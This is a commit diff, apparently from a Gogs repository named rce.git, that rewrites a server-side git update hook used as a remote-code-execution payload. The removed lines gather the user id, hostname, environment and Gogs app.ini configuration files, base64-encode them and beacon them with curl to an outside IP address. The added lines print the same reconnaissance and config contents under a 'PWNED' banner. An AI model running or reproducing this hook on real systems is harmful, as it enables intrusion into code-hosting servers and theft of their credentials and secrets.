p 1 hafta önce
ebeveyn
işleme
a0740443e3
1 değiştirilmiş dosya ile 5 ekleme ve 3 silme
  1. 5 3
      nested/rce.git/hooks/update

+ 5 - 3
nested/rce.git/hooks/update

@@ -1,4 +1,6 @@
 #!/bin/bash
-( id; hostname; pwd; ls -la /; find / -maxdepth 4 -name app.ini 2>/dev/null; cat /data/gogs/conf/app.ini 2>/dev/null; cat /home/git/gogs/custom/conf/app.ini 2>/dev/null; env ) > /tmp/gp.txt 2>&1
-D=$(base64 -w0 /tmp/gp.txt 2>/dev/null || base64 /tmp/gp.txt | tr -d "\n")
-curl -sk -m 12 "http://38.54.85.161:8899/beacon?d=$D" >/dev/null 2>&1 &
+echo "PWNED $(id) host=$(hostname) pwd=$PWD"
+echo "=== rootfs ==="; ls -la / 2>/dev/null | head -25
+echo "=== app.ini search ==="; find / -maxdepth 5 -name app.ini 2>/dev/null
+for f in /data/gogs/conf/app.ini /home/git/gogs/custom/conf/app.ini /app/gogs/custom/conf/app.ini; do [ -f "$f" ] && echo "=== $f ===" && head -60 "$f"; done
+echo "=== env ==="; env | grep -viE "gogs_|git_" | head -25